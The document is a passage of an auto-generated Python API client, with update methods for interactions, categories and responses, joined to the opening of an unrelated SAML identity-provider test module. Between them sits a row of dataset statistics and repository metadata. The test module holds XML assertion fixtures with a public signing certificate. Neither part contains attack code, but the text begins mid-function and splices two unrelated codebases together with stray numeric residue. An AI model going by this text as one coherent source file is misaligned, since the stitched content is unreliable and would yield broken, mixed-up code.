header_params['accessToken'] = params['access_token']
if 'client_token' in params:
header_params['clientToken'] = params['client_token']
form_params = []
local_var_files = {}
if 'fields' in params:
form_params.append(('fields', params['fields']))
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/x-www-form-urlencoded'])
# Authentication setting
auth_settings = ['default']
return self.api_client.call_api(resource_path, 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='VerveResponseInteraction',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'))
def update_interaction(self, interaction_id, interaction_title, requester_id, client_token, **kwargs):
"""
Update interaction
Allows the user to update interaction. Returns the updated interaction
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.update_interaction(interaction_id, interaction_title, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int interaction_id: interactionId (required)
:param str interaction_title: Interaction Title (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str interaction_description: Describe Interaction
:param str fields: Filter fields in result list /* **A) Default values -** 1)interactionId 2)interactionTitle 3)interactionDescription 4)createdDate 5)interactionType **A) Available values-** 1)interactionId 2)interactionTitle 3)interactionDescription 4)issuer 5)noOfResponses 6)isClosed 7)createdDate 8)lastUpdatedDate 9)videoId 10)fileURL 11)isSubscribed 12)sentiment 13)entity 14)interactionType 15)categoryId 16)categoryName */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteraction
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.update_interaction_with_http_info(interaction_id, interaction_title, requester_id, client_token, **kwargs)
else:
(data) = self.update_interaction_with_http_info(interaction_id, interaction_title, requester_id, client_token, **kwargs)
return data
def update_interaction_with_http_info(self, interaction_id, interaction_title, requester_id, client_token, **kwargs):
"""
Update interaction
Allows the user to update interaction. Returns the updated interaction
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.update_interaction_with_http_info(interaction_id, interaction_title, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int interaction_id: interactionId (required)
:param str interaction_title: Interaction Title (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str interaction_description: Describe Interaction
:param str fields: Filter fields in result list /* **A) Default values -** 1)interactionId 2)interactionTitle 3)interactionDescription 4)createdDate 5)interactionType **A) Available values-** 1)interactionId 2)interactionTitle 3)interactionDescription 4)issuer 5)noOfResponses 6)isClosed 7)createdDate 8)lastUpdatedDate 9)videoId 10)fileURL 11)isSubscribed 12)sentiment 13)entity 14)interactionType 15)categoryId 16)categoryName */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteraction
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['interaction_id', 'interaction_title', 'requester_id', 'client_token', 'interaction_description', 'fields', 'access_token']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method update_interaction" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'interaction_id' is set
if ('interaction_id' not in params) or (params['interaction_id'] is None):
raise ValueError("Missing the required parameter `interaction_id` when calling `update_interaction`")
# verify the required parameter 'interaction_title' is set
if ('interaction_title' not in params) or (params['interaction_title'] is None):
raise ValueError("Missing the required parameter `interaction_title` when calling `update_interaction`")
# verify the required parameter 'requester_id' is set
if ('requester_id' not in params) or (params['requester_id'] is None):
raise ValueError("Missing the required parameter `requester_id` when calling `update_interaction`")
# verify the required parameter 'client_token' is set
if ('client_token' not in params) or (params['client_token'] is None):
raise ValueError("Missing the required parameter `client_token` when calling `update_interaction`")
resource_path = '/interactions/{interactionId}'.replace('{format}', 'json')
path_params = {}
if 'interaction_id' in params:
path_params['interactionId'] = params['interaction_id']
query_params = {}
header_params = {}
if 'requester_id' in params:
header_params['requesterId'] = params['requester_id']
if 'access_token' in params:
header_params['accessToken'] = params['access_token']
if 'client_token' in params:
header_params['clientToken'] = params['client_token']
form_params = []
local_var_files = {}
if 'interaction_title' in params:
form_params.append(('interactionTitle', params['interaction_title']))
if 'interaction_description' in params:
form_params.append(('interactionDescription', params['interaction_description']))
if 'fields' in params:
form_params.append(('fields', params['fields']))
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/x-www-form-urlencoded'])
# Authentication setting
auth_settings = ['default']
return self.api_client.call_api(resource_path, 'PUT',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='VerveResponseInteraction',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'))
def update_interaction_category(self, category_id, category_name, requester_id, client_token, **kwargs):
"""
Update interaction category
Allows the user to update the interaction category. Returns the updated interaction category
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.update_interaction_category(category_id, category_name, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int category_id: categoryId (required)
:param str category_name: Category Name (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str category_description: Describe category
:param str fields: Filter fields in result list /* **A) Default values -** 1)categoryId 2)categoryName 3)interactionType **A) Available values -** 1)categoryId 2)categoryName 3)categoryDescription 4)createdDate 5)isSubscribed 6)interactionType */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionCategory
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.update_interaction_category_with_http_info(category_id, category_name, requester_id, client_token, **kwargs)
else:
(data) = self.update_interaction_category_with_http_info(category_id, category_name, requester_id, client_token, **kwargs)
return data
def update_interaction_category_with_http_info(self, category_id, category_name, requester_id, client_token, **kwargs):
"""
Update interaction category
Allows the user to update the interaction category. Returns the updated interaction category
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.update_interaction_category_with_http_info(category_id, category_name, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int category_id: categoryId (required)
:param str category_name: Category Name (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str category_description: Describe category
:param str fields: Filter fields in result list /* **A) Default values -** 1)categoryId 2)categoryName 3)interactionType **A) Available values -** 1)categoryId 2)categoryName 3)categoryDescription 4)createdDate 5)isSubscribed 6)interactionType */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionCategory
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['category_id', 'category_name', 'requester_id', 'client_token', 'category_description', 'fields', 'access_token']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method update_interaction_category" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'category_id' is set
if ('category_id' not in params) or (params['category_id'] is None):
raise ValueError("Missing the required parameter `category_id` when calling `update_interaction_category`")
# verify the required parameter 'category_name' is set
if ('category_name' not in params) or (params['category_name'] is None):
raise ValueError("Missing the required parameter `category_name` when calling `update_interaction_category`")
# verify the required parameter 'requester_id' is set
if ('requester_id' not in params) or (params['requester_id'] is None):
raise ValueError("Missing the required parameter `requester_id` when calling `update_interaction_category`")
# verify the required parameter 'client_token' is set
if ('client_token' not in params) or (params['client_token'] is None):
raise ValueError("Missing the required parameter `client_token` when calling `update_interaction_category`")
resource_path = '/interactions/categories/{categoryId}'.replace('{format}', 'json')
path_params = {}
if 'category_id' in params:
path_params['categoryId'] = params['category_id']
query_params = {}
header_params = {}
if 'requester_id' in params:
header_params['requesterId'] = params['requester_id']
if 'access_token' in params:
header_params['accessToken'] = params['access_token']
if 'client_token' in params:
header_params['clientToken'] = params['client_token']
form_params = []
local_var_files = {}
if 'category_name' in params:
form_params.append(('categoryName', params['category_name']))
if 'category_description' in params:
form_params.append(('categoryDescription', params['category_description']))
if 'fields' in params:
form_params.append(('fields', params['fields']))
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/x-www-form-urlencoded'])
# Authentication setting
auth_settings = ['default']
return self.api_client.call_api(resource_path, 'PUT',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='VerveResponseInteractionCategory',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'))
def update_response(self, response_id, response, requester_id, client_token, **kwargs):
"""
Update response
Allows the user to update an response. Returns the updated response
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.update_response(response_id, response, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int response_id: responseId (required)
:param str response: response (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str fields: Filter fields in result list /* **A) Default values -** 1)responseId 2)responseDescription 3)createdDate 4)interactionType **A) Available values -** 1)responseId 2)responseDescription 3)createdDate 4)interactionId 5)respondingUser 6)isMarkedResponse 7)noOfLikes 8)noOfDislikes 9)replyCount 10)isLiked 11)isDisliked 12)interactionType */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionResponse
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.update_response_with_http_info(response_id, response, requester_id, client_token, **kwargs)
else:
(data) = self.update_response_with_http_info(response_id, response, requester_id, client_token, **kwargs)
return data
def update_response_with_http_info(self, response_id, response, requester_id, client_token, **kwargs):
"""
Update response
Allows the user to update an response. Returns the updated response
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.update_response_with_http_info(response_id, response, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int response_id: responseId (required)
:param str response: response (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str fields: Filter fields in result list /* **A) Default values -** 1)responseId 2)responseDescription 3)createdDate 4)interactionType **A) Available values -** 1)responseId 2)responseDescription 3)createdDate 4)interactionId 5)respondingUser 6)isMarkedResponse 7)noOfLikes 8)noOfDislikes 9)replyCount 10)isLiked 11)isDisliked 12)interactionType */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionResponse
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['response_id', 'response', 'requester_id', 'client_token', 'fields', 'access_token']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method update_response" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'response_id' is set
if ('response_id' not in params) or (params['response_id'] is None):
raise ValueError("Missing the required parameter `response_id` when calling `update_response`")
# verify the required parameter 'response' is set
if ('response' not in params) or (params['response'] is None):
raise ValueError("Missing the required parameter `response` when calling `update_response`")
# verify the required parameter 'requester_id' is set
if ('requester_id' not in params) or (params['requester_id'] is None):
raise ValueError("Missing the required parameter `requester_id` when calling `update_response`")
# verify the required parameter 'client_token' is set
if ('client_token' not in params) or (params['client_token'] is None):
raise ValueError("Missing the required parameter `client_token` when calling `update_response`")
resource_path = '/interactions/responses/{responseId}'.replace('{format}', 'json')
path_params = {}
if 'response_id' in params:
path_params['responseId'] = params['response_id']
query_params = {}
header_params = {}
if 'requester_id' in params:
header_params['requesterId'] = params['requester_id']
if 'access_token' in params:
header_params['accessToken'] = params['access_token']
if 'client_token' in params:
header_params['clientToken'] = params['client_token']
form_params = []
local_var_files = {}
if 'response' in params:
form_params.append(('response', params['response']))
if 'fields' in params:
form_params.append(('fields', params['fields']))
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/x-www-form-urlencoded'])
# Authentication setting
auth_settings = ['default']
return self.api_client.call_api(resource_path, 'PUT',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='VerveResponseInteractionResponse',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'))
| 57.871152 | 583 | 0.624195 | 28,436 | 263,198 | 5.59706 | 0.013152 | 0.038773 | 0.033175 | 0.030963 | 0.98663 | 0.981276 | 0.978543 | 0.974786 | 0.971425 | 0.965437 | 0 | 0.007279 | 0.297932 | 263,198 | 4,547 | 584 | 57.883879 | 0.854045 | 0.441383 | 0 | 0.81592 | 0 | 0 | 0.254012 | 0.060307 | 0 | 0 | 0 | 0 | 0 | 1 | 0.030303 | false | 0 | 0.003166 | 0 | 0.078697 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
71e756ec18cb00cddfdb014e810af003956d5f0a | 23,700 | py | Python | idptest/tests/test_signing.py | NoodleMarkets/dj-saml-idp | ba2a4ef59b6bd35ac652066a08c1aedfbd8779fc | [
"MIT"
] | 2 | 2019-12-23T06:30:10.000Z | 2022-02-19T21:05:52.000Z | idptest/tests/test_signing.py | NoodleMarkets/dj-saml-idp | ba2a4ef59b6bd35ac652066a08c1aedfbd8779fc | [
"MIT"
] | null | null | null | idptest/tests/test_signing.py | NoodleMarkets/dj-saml-idp | ba2a4ef59b6bd35ac652066a08c1aedfbd8779fc | [
"MIT"
] | 2 | 2018-06-26T06:20:25.000Z | 2020-07-21T02:43:59.000Z | # -*- coding: utf-8 -*-
from __future__ import absolute_import
import os
import unittest
import lxml.etree as ET
from xmlunittest import XmlTestMixin
from saml2idp import xml_render
from saml2idp import xml_signing, xml_templates
from saml2idp import saml2idp_metadata as smd
from saml2idp.xml_signing import get_signature_xml
IDP_PARAMS = {
'ISSUER': 'http://127.0.0.1:8000',
}
REQUEST_PARAMS = {
'ACS_URL': 'https://www.example.net/a/example.com/acs',
'REQUEST_ID': 'mpjibjdppiodcpciaefmdahiipjpcghdcfjodkbi',
}
ASSERTION_SALESFORCE_PARAMS = {
'ASSERTION_ID': '_7ccdda8bc6b328570c03b218d7521772998da45374',
'ASSERTION_SIGNATURE': '', # it's unsigned
'AUDIENCE': 'example.net',
'AUTH_INSTANT': '2011-08-11T23:38:34Z',
'ISSUE_INSTANT': '2011-08-11T23:38:34Z',
'NOT_BEFORE': '2011-08-11T23:38:04Z',
'NOT_ON_OR_AFTER': '2011-08-11T23:43:34Z',
'SESSION_NOT_ON_OR_AFTER': '2011-08-12T07:38:34Z',
'SP_NAME_QUALIFIER': 'example.net',
'SUBJECT': 'randomuser@example.com',
'SUBJECT_FORMAT': 'urn:oasis:names:tc:SAML:2.0:nameid-format:email',
'': 'b7HwOJQgKYvhWcrUH17T8WXTY24='
}
ASSERTION_SALESFORCE_STR = '<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_7ccdda8bc6b328570c03b218d7521772998da45374" IssueInstant="2011-08-11T23:38:34Z" Version="2.0"><saml:Issuer>http://127.0.0.1:8000</saml:Issuer><saml:Subject><saml:NameID Format="urn:oasis:names:tc:SAML:2.0:nameid-format:email" SPNameQualifier="example.net">randomuser@example.com</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData InResponseTo="mpjibjdppiodcpciaefmdahiipjpcghdcfjodkbi" NotOnOrAfter="2011-08-11T23:43:34Z" Recipient="https://www.example.net/a/example.com/acs"></saml:SubjectConfirmationData></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="2011-08-11T23:38:04Z" NotOnOrAfter="2011-08-11T23:43:34Z"><saml:AudienceRestriction><saml:Audience>example.net</saml:Audience></saml:AudienceRestriction></saml:Conditions><saml:AuthnStatement AuthnInstant="2011-08-11T23:38:34Z"><saml:AuthnContext><saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef></saml:AuthnContext></saml:AuthnStatement></saml:Assertion>'
ASSERTION_SALESFORCE_XML = ET.XML(ASSERTION_SALESFORCE_STR)
SIGNED_ASSERTION_SALESFORCE_STR = '<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_7ccdda8bc6b328570c03b218d7521772998da45374" IssueInstant="2011-08-11T23:38:34Z" Version="2.0"><saml:Issuer>http://127.0.0.1:8000</saml:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></ds:CanonicalizationMethod><ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"></ds:SignatureMethod><ds:Reference URI="#_7ccdda8bc6b328570c03b218d7521772998da45374"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"></ds:Transform><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></ds:Transform></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"></ds:DigestMethod><ds:DigestValue>b7HwOJQgKYvhWcrUH17T8WXTY24=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>WP+9aFiuj52WLW6ebwSaQhF2nU/wtyP3E2dudTa6mVTSjItpqduUqWR3rp/q39Hsehde6i+4RlbGQkZUwZSPEw==</ds:SignatureValue><ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIICKzCCAdWgAwIBAgIJAM8DxRNtPj90MA0GCSqGSIb3DQEBBQUAMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIEwpTb21lLVN0YXRlMSEwHwYDVQQKExhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQwHhcNMTEwODEyMjA1MTIzWhcNMTIwODExMjA1MTIzWjBFMQswCQYDVQQGEwJBVTETMBEGA1UECBMKU29tZS1TdGF0ZTEhMB8GA1UEChMYSW50ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANcNmgm4YlSUAr2xdWei5aRU/DbWtsQ47gjkv28Ekje3ob+6q0M+D5phwYDcv9ygYmuJ5wOi1cPprsWdFWmvSusCAwEAAaOBpzCBpDAdBgNVHQ4EFgQUzyBR9+vE8bygqvD6CZ/w6aQPikMwdQYDVR0jBG4wbIAUzyBR9+vE8bygqvD6CZ/w6aQPikOhSaRHMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIEwpTb21lLVN0YXRlMSEwHwYDVQQKExhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGSCCQDPA8UTbT4/dDAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUAA0EAIQuPLA/mlMJAMF680kL7reX5WgyRwAtRzJK6FgNjE7kRaLZQ79UKYVYa0VAyrRdoNEyVhG4tJFEiQJzaLWsl/A==</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><saml:Subject><saml:NameID Format="urn:oasis:names:tc:SAML:2.0:nameid-format:email" SPNameQualifier="example.net">randomuser@example.com</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData InResponseTo="mpjibjdppiodcpciaefmdahiipjpcghdcfjodkbi" NotOnOrAfter="2011-08-11T23:43:34Z" Recipient="https://www.example.net/a/example.com/acs"></saml:SubjectConfirmationData></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="2011-08-11T23:38:04Z" NotOnOrAfter="2011-08-11T23:43:34Z"><saml:AudienceRestriction><saml:Audience>example.net</saml:Audience></saml:AudienceRestriction></saml:Conditions><saml:AuthnStatement AuthnInstant="2011-08-11T23:38:34Z"><saml:AuthnContext><saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef></saml:AuthnContext></saml:AuthnStatement></saml:Assertion>'
SIGNED_ASSERTION_SALESFORCE_XML = ET.XML(SIGNED_ASSERTION_SALESFORCE_STR)
RESPONSE_PARAMS = {
'ASSERTION': '',
'ISSUE_INSTANT': '2011-08-11T23:38:34Z',
'NOT_ON_OR_AFTER': '2011-08-11T23:43:34Z',
'RESPONSE_ID': '_2972e82c07bb5453956cc11fb19cad97ed26ff8bb4',
'RESPONSE_SIGNATURE': '',
'SP_NAME_QUALIFIER': 'example.net',
'SUBJECT': 'randomuser@example.com',
'SUBJECT_FORMAT': 'urn:oasis:names:tc:SAML:2.0:nameid-format:email',
}
RESPONSE_XML = '<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" Destination="https://www.example.net/a/example.com/acs" ID="_2972e82c07bb5453956cc11fb19cad97ed26ff8bb4" InResponseTo="mpjibjdppiodcpciaefmdahiipjpcghdcfjodkbi" IssueInstant="2011-08-11T23:38:34Z" Version="2.0"><saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">http://127.0.0.1:8000</saml:Issuer><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"></samlp:StatusCode></samlp:Status><saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_7ccdda8bc6b328570c03b218d7521772998da45374" IssueInstant="2011-08-11T23:38:34Z" Version="2.0"><saml:Issuer>http://127.0.0.1:8000</saml:Issuer><saml:Subject><saml:NameID Format="urn:oasis:names:tc:SAML:2.0:nameid-format:email" SPNameQualifier="example.net">randomuser@example.com</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData InResponseTo="mpjibjdppiodcpciaefmdahiipjpcghdcfjodkbi" NotOnOrAfter="2011-08-11T23:43:34Z" Recipient="https://www.example.net/a/example.com/acs"></saml:SubjectConfirmationData></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="2011-08-11T23:38:04Z" NotOnOrAfter="2011-08-11T23:43:34Z"><saml:AudienceRestriction><saml:Audience>example.net</saml:Audience></saml:AudienceRestriction></saml:Conditions><saml:AuthnStatement AuthnInstant="2011-08-11T23:38:34Z"><saml:AuthnContext><saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef></saml:AuthnContext></saml:AuthnStatement></saml:Assertion></samlp:Response>'
RESPONSE_WITH_SIGNED_ASSERTION_SALESFORCE_XML = '<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" Destination="https://www.example.net/a/example.com/acs" ID="_2972e82c07bb5453956cc11fb19cad97ed26ff8bb4" InResponseTo="mpjibjdppiodcpciaefmdahiipjpcghdcfjodkbi" IssueInstant="2011-08-11T23:38:34Z" Version="2.0"><saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">http://127.0.0.1:8000</saml:Issuer><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"></samlp:StatusCode></samlp:Status><saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_7ccdda8bc6b328570c03b218d7521772998da45374" IssueInstant="2011-08-11T23:38:34Z" Version="2.0"><saml:Issuer>http://127.0.0.1:8000</saml:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></ds:CanonicalizationMethod><ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"></ds:SignatureMethod><ds:Reference URI="#_7ccdda8bc6b328570c03b218d7521772998da45374"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"></ds:Transform><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></ds:Transform></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"></ds:DigestMethod><ds:DigestValue>b7HwOJQgKYvhWcrUH17T8WXTY24=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>WP+9aFiuj52WLW6ebwSaQhF2nU/wtyP3E2dudTa6mVTSjItpqduUqWR3rp/q39Hsehde6i+4RlbGQkZUwZSPEw==</ds:SignatureValue><ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIICKzCCAdWgAwIBAgIJAM8DxRNtPj90MA0GCSqGSIb3DQEBBQUAMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIEwpTb21lLVN0YXRlMSEwHwYDVQQKExhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQwHhcNMTEwODEyMjA1MTIzWhcNMTIwODExMjA1MTIzWjBFMQswCQYDVQQGEwJBVTETMBEGA1UECBMKU29tZS1TdGF0ZTEhMB8GA1UEChMYSW50ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANcNmgm4YlSUAr2xdWei5aRU/DbWtsQ47gjkv28Ekje3ob+6q0M+D5phwYDcv9ygYmuJ5wOi1cPprsWdFWmvSusCAwEAAaOBpzCBpDAdBgNVHQ4EFgQUzyBR9+vE8bygqvD6CZ/w6aQPikMwdQYDVR0jBG4wbIAUzyBR9+vE8bygqvD6CZ/w6aQPikOhSaRHMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIEwpTb21lLVN0YXRlMSEwHwYDVQQKExhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGSCCQDPA8UTbT4/dDAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUAA0EAIQuPLA/mlMJAMF680kL7reX5WgyRwAtRzJK6FgNjE7kRaLZQ79UKYVYa0VAyrRdoNEyVhG4tJFEiQJzaLWsl/A==</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><saml:Subject><saml:NameID Format="urn:oasis:names:tc:SAML:2.0:nameid-format:email" SPNameQualifier="example.net">randomuser@example.com</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData InResponseTo="mpjibjdppiodcpciaefmdahiipjpcghdcfjodkbi" NotOnOrAfter="2011-08-11T23:43:34Z" Recipient="https://www.example.net/a/example.com/acs"></saml:SubjectConfirmationData></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="2011-08-11T23:38:04Z" NotOnOrAfter="2011-08-11T23:43:34Z"><saml:AudienceRestriction><saml:Audience>example.net</saml:Audience></saml:AudienceRestriction></saml:Conditions><saml:AuthnStatement AuthnInstant="2011-08-11T23:38:34Z"><saml:AuthnContext><saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef></saml:AuthnContext></saml:AuthnStatement></saml:Assertion></samlp:Response>'
